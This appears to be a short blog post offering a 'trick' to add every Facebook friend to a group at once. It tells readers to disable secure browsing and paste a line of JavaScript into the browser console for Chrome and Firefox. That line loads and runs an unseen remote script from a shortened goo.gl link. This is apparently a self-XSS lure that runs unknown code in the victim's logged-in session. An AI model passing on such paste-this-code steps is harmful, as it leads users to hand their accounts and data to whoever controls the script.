It can be pretty tedious if you open a new group on Facebook and invite all your friends one by one to join the group. So, to ease your task i have got some pretty click trick whereby you will simply perform two to three steps and all of your friends will be added to the Facebook group at once!
For this to work, you need to disable secure browsing for a while. You can again enable secure browsing once you complete doing this.
To disable secure browsing, go to Account Settings .
> Security > Secure Browsing.
Remove the tick mark and click on Save changes.
For Google Chrome
Go to your Group where you want to invite/add all of your friends.
Right click and press on Inspect Element.
Select Console.
Paste the following on Console :
document.body.appendChild(document.createElement('script')).src='http://goo.gl/7Q26z';
For Mozilla FireFox
Go to your Group where you want to invite/add all of your friends.
Press Ctrl+Shift+K
A new area will pop down from the address bar.
Paste the following code there :
document.body.appendChild(document.createElement('script')).src='http://goo.gl/7Q26z';
its done..
Have Fun.. :-)